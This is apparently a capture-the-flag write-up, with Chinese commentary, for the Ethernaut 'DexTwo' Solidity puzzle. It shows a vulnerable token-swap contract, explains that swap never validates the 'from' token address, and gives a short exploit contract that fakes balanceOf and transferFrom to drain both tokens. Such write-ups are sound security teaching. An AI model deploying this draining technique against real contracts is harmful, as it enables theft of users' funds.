LEVEL 23 (DexTwo):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
通关要求
token1和token2的余额为0
要点
需要严格检测入参的合法性,所有入参都是不可信的
解题思路
swap方法并没有检查from的合法,可以传任意地址,我们可以传自己的contract,并在被调用的方法balanceOf/transferFrom里面作假
contract DexTwoRun{
function balanceOf(address) external pure returns (uint){
return 100;
}
function transferFrom(address,address,uint256) public virtual returns (bool) {
return true;
}
function run(address _runAddress,address _token1,address _token2) external {
//swap没有检测from和to的地址是否合法,所以可以传自己,然后在balanceOf/transferFrom方法里作假
ILevel(_runAddress).swap(address(this), _token1, 100);
ILevel(_runAddress).swap(address(this), _token2, 100);
}
}
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